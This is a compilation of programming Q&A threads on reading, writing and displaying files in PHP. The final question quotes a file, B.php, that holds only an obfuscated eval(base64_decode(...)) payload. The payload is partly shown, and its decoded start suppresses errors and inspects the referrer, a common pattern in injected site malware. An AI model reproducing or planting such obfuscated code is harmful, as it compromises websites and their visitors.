I have a php file that has data coming from the database called Casino-review.php
I just want to copy the php generated output data from this file to a new html file. I have tried lots of other thinks like OB functions, File contents functions, Copy functions, Fopen functions but, nothing work for me. Everthing is working properly creating file copying content but it's showing php code in it. Please help me.
here is the Output.
here is my code
$fileName = $title.".html";
$to = "casinos/all/".$fileName;
$from = "casinos/casino-review.php";
$newcontent = file_get_contents("$from");
if ($createFile = fopen($to, "w+")) {
fread($createFile, filesize($from));
fwrite($createFile, $newcontent);
fclose($createFile);
// echo "Wait for 5 seconds";
// setcookie("file", json_encode($casinoDetails), time() + 7400);
// header("REFRESH: 5;profile/$username/profile.php");
// echo "good";
}
I have finally found my answer
ob_start();
include("$from");
file_put_contents($to, ob_get_contents());
ob_end_clean();
Thanks #Innovin
Related
I am using the php post function to add data into an HTML file.
Every time i use it the data is added in the bottom of the page.
How can i make it to add it on the top..??
<?php
session_start();
date_default_timezone_set('Asia/Calcutta');
if(isset($_SESSION['name'])){
$text = $_POST['text'];
$fp = fopen("log.html", 'a');
date_default_timezone_set("India/Kolkata");
fwrite($fp, "<div class='msgln'>(".date("g:i A").") <b>".$_SESSION['name']."</b>: ".stripslashes(htmlspecialchars($text))."<br></div>");
fclose($fp);
}
?>
I Am new in coding
You'll have to get the full content of your file, concatenate it with the new data at the beginning (new data + old data), and overwrite the file with this new content.
I've started a small project trying to make an online text editor, it WAS going well until the system started overwriting files and adding spaces in unnecessarily. I have one file called editor.php where all the file loading, saving and editing is done.
So this is the opening/closing for the files:
<?php
if(isset($_POST['new'])){
$filer = substr(md5(microtime()),rand(0,26),6);
$file_create = $filer.".txt";
$handle = fopen("files/".$file_create,"w");
fclose($handle);
header("Location: editor.php?e=".$filer);
}
$file = $_GET['e'];
$file = basename($file);
$filename = "files/".$file.".txt";
$file_get = file_get_contents($filename);
if(isset($_POST['save'])){
file_put_contents($filename, $_POST['text']);
}
?>
further down the page I have this in a <textarea> tag:
<?php
echo $file_content;
?>
This uses the string from the file_get_contents();
But when I save, nothing happens, in fact it erases the file, when I load a file there are eight spaces but nothing else.
I know there is another way to do this with fopen() and if someone could give me a method to use that, it would be much appreciated.
You have to verify if the $_POST['text'] actually has a content in it.
if(isset($_GET['e'])){
$file = $_GET['e'];
$file = basename($file);
$filename = $_SERVER['DOCUMENT_ROOT']."/files/".$file.".txt";
$file_get = file_get_contents($filename);
if(isset($_POST['save'])){
if(!empty($_POST['text']) && isset($_POST['text']))
{
$length = strlen($_POST['text']);
if($length > 0)
file_put_contents($filename, trim($_POST['text']));
else
die("No content");
}
}
}
ALso check if the file exists and its writable. You can use chmod,mkdir and file_exists functions.
Have a look at PHP's file modes: http://php.net/manual/en/function.fopen.php
If you are opening all your files using fopen() in w mode then your files are being truncated as they are opened. This is how w mode operates. Try using a+ or c+ modes with fopen().
EDIT
Also, the file_put_contents() will also overwrite file contents unless you sett the FILE_APPEND flag, e.g. file_put_contents($file, $data, FILE_APPEND).
I'm creating a html template with notification under nav bar , and admin can change that notification from the system the text of notification bar will be from notetxt file from the same location path where index.html is located i ave tried
<?php
foreach (glob("note.txt") as $filename) {
readfile($filename);
}
?>
and many other way but nothing happens it still stay blank
You are not echoing out the content of the textfile.
do it like this:
$myFile = "note.txt";
$fh = fopen($myFile, 'r');
$theData = fread($fh, filesize($myFile));
fclose($fh);
echo $theData;
This will output your content of the file.
i'm using this code in pure html file
You can't use PHP functions in plain HTML file. MUST be written in a PHP file.
You have now in your code:
<span>
<!--?php
foreach (glob("note.txt") as $filename) {
$fileArr = file_get_contents($filename);
}
?-->
</span>
Try with the examples above in a proper PHP file... then must work.
you can use file_get_contents function,
try something like this :
<?php
foreach (glob("note.txt") as $filename) {
$fileArr = file_get_contents($filename);
}
?>
It's very simple use file_get_contents();
<?= file_exists('note.txt') ? file_get_contents("note.txt") : "file doesn't exists"; ?>
That is all what you need. file_get_contents() get the content of file and returns it. I've also checked if file exists because it may be your problem. Also make sure you have proper rights to read the file(CHMOD) and file is not empty.
I'm using this code now to display a text file on a php/html page.
<?php
foreach (glob("example.txt") as $filename) {
echo nl2br(file_get_contents($filename));
echo "<br></br>";
}
?>
I'm looking for a way to display the example.txt file from another server with URI.
Something like this: http://address.com/dir/example.txt
Is there a simple way to do this?
(I would use an iframe but it's not possible to style the text without Java or JQuery).
You could just use
file_get_contents('http://address.com/dir/example.txt');
You code is totally wrong
foreach (glob("example.txt") as $filename) {
^------------------------- searching for a file
They can only one example.txt file in a folder at a time except you want to get all text files should should be like this in the first place
foreach (glob("*.txt") as $filename) {
If that is not the case the code would work for both remote and local file
error_reporting(E_ALL);
ini_set("display_errors", "on");
$fileName = "example.txt" ; // or http://oursite.com/example.txt
echo nl2br(file_get_contents($fileName));
echo "<br></br>";
You will have to use CURL to fetch the content of the file first and then display it.
Another option is to use iframes and set the target of iframe to the desired text file.
Yet another option is to use ajax to fetch the content from client end as suggested in comment.
Check fopen() / fread() and your available transport wrappers.
For normal length text file you can use:
<?PHP
$file = fopen("http://www.xyz.com/textfile.txt", "rb");
$output = fread($file, 8192);
fclose($file);
echo($output);
echo "<br>";
?>
For longer files:
<?PHP
$file = fopen("http://www.xyz.com/textfile.txt", "rb");
$output = '';
while (!feof($file)) {
$output .= fread($file, 8192);
}
fclose($file);
echo($output);
echo "<br>";
?>
It will prevent packet exceed issues in longer files by concatenating the file together in several groupings using while loop
I want to use php code in file A.php to read data of an other php file B.php. So the all php scripts in B.php won't execute and it's just the string.
Unfortunately, the data in B.php is executing when I read it in my A.php.
This is the code in A.php :
$handle = #fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = #filesize('B.php');
$str = $filesize ? #fread($handle, $filesize) : null;
#fclose($handle);
if (!$str) {
echo 'B.php is empty!';
exit;
}
else {
//TODO continue process
}
This is the code in B.php :
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJW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KTsNCn0KfQp9DQp9DQp9"));?>
NOTE : The B.php file cannot change. My code is in A.php
UPDATE : The data in B.php didn't execute when I read it from A.php. But how could I print the data out? because I use print it by echo $str, nothing is display in the browser.
The code won't be executed except you included that file.
PS: use file_get_contents will be much simple.
$str = file_get_contents('B.php');
Try using file_get_contents to get a plain string of Bs contents
To get all file lines into array use this.
$data = file($filename, FILE_IGNORE_NEW_LINES);